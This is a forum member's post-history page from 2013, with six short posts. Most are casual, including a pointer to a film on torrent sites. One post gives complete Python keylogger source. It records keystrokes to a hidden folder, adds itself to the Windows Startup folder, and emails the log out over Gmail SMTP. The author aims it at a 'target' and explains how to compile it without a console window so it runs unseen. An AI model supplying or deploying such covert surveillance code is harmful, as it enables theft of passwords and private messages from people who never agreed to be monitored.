Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.


Messages - R3ckless

Pages: [1]
1
General discussion / Re: Code 2600
« on: October 27, 2013, 05:58:16 pm »
Necro'ing this thread for a PSA:

It's available now in your closest torrent site. I'm watching it at the moment and looks good.

2
Hey EZ.

I started reading Introduction to Algorithms 3rd edition and I was wondering what you guys think about the use of well elaborated algorithms in the hacking/security area?

Do any of you see it as A1 priority? Anyone see them not as important?

3
Scripting Languages / Re: [python]remote python keylogger
« on: September 07, 2013, 06:48:29 pm »
I just posted a keylogger and now I read this.

I feel like an idiot.

Props to you because you actually wrote it!

4
Scripting Languages / [Python] Keylogger for you and me
« on: September 07, 2013, 06:35:50 pm »
So I somehow stumbled upon a video on youtube to make a basic keylogger.

I found it interesting and decided to look up on the internet was to get the text file to  it back to me and among other things, it escalated.

Code:

Code: [Select]
import pyHook, pythoncom, logging, sys
import time
import os, sys, win32com.client
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
from email.MIMEImage import MIMEImage
import smtplib

if not os.path.exists('C:\\MSLive\\'):
    os.makedirs('C:\\MSLive\\')
    myfile = open('C:\\MSLive\\stuff.txt', 'w')
    myfile.write("Fun starts here\n")
    myfile.close()

shell = win32com.client.Dispatch("WScript.Shell")
shortcut = shell.CreateShortCut("C:\\Users\\"+ os.environ.get("USERNAME")+"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MSLive.lnk")
shortcut.Targetpath = "C:\\Users\\"+ os.environ.get("USERNAME")+"\\Downloads\\collegemeh\\key.exe"
shortcut.save()

msg = MIMEMultipart()
msg.attach(MIMEText(file("C:\\MSLive\\stuff.txt").read()))

mailer = smtplib.SMTP("smtp.gmail.com", 587)

mailer.ehlo()
mailer.starttls()
mailer.ehlo()
mailer.login('username', 'password')
mailer.sendmail("from@example.com", "to@example.com", msg.as_string())
mailer.close()


file_log = 'C:\\MSLive\\stuff.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True
   
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

What it does:
  • It creates a txt files in C:\MSLive where it stores the key inputs. MSLives doesn't exists therefore it creates it
  • Then it proceeds to create a shortcut on the Startup folder
  • It assumes that the file is in Downloads\collegemeh. You can change it if you know where your target is going to unzip it.
  • Everytime the program is started it is going to send a mail with the contents of the txt file to the address written.
Now you may ask, what if the target doesn't use python?
Use pyinstaller with the --noconsole argument. It will make a folder in the pyinstaller folder with the name of the original script and within the dist folder there is the exe and its contents. Up to you what to do with this or how you wanna do it.

NOTES:
  • I did not write all this code. It was mostly googling and copy pasting/editing
  • I haven't tested the startup part yet.

Any input to improve it is appreciated!

5
Science / Re: ∞ x 0 = -1 [?]
« on: April 18, 2013, 04:14:57 am »
Well.. you are implying you know the value of ∞..

6
Gonna copy paste it and save it somewhere in my archive.
I pretty much shared most of that mentality, specially the social part.


Thank you.

Pages: [1]